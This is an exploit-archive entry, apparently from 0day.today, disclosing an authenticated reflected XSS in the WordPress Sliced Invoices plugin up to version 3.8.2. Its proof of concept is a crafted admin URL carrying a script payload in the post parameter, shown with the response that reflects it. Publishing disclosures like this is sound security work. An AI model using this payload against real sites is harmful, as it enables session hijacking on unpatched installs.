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WordPress Sliced Invoices 3.8.2 Cross Site Scripting Vulnerability

🗓️ 23 Oct 2019 00:00:00Reported by Lucian Ioan NitescuType 
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 zdt
🔗 0day.today👁 59 Views

WordPress Sliced Invoices 3.8.2 XSS Vulnerability

Code
# Exploit Title: Wordpress Sliced Invoices <= 3.8.2 Authentificated Reflected XSS Vulnerability
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://slicedinvoices.com/
# Software Link: https://wordpress.org/plugins/sliced-invoices/
# Version: 3.8.2
# Tested on: Ubuntu 18.04 / Wordpress 5.3
 
1. Description:  
 
Wordpress Sliced Invoices plugin with version lower then 3.8.2 is affected by an authentificated Reflected Cross-site scripting (XSS) vulnerability.

2. Proof of Concept: 
 
Reflected Cross-site scripting (XSS)
- Using an Wordpress user, access < your_target > /wp-admin/admin.php?action=duplicate_quote_invoice&post=%3Cscript%3Ealert(1)%3C%2fscript%3E
- The response will contain:
```
<body id="error-page">
  <p>Creation failed, could not find original invoice or quote: <script>alert(1)</script></p></body>
</html>
```

#  0day.today [2019-12-04]  #

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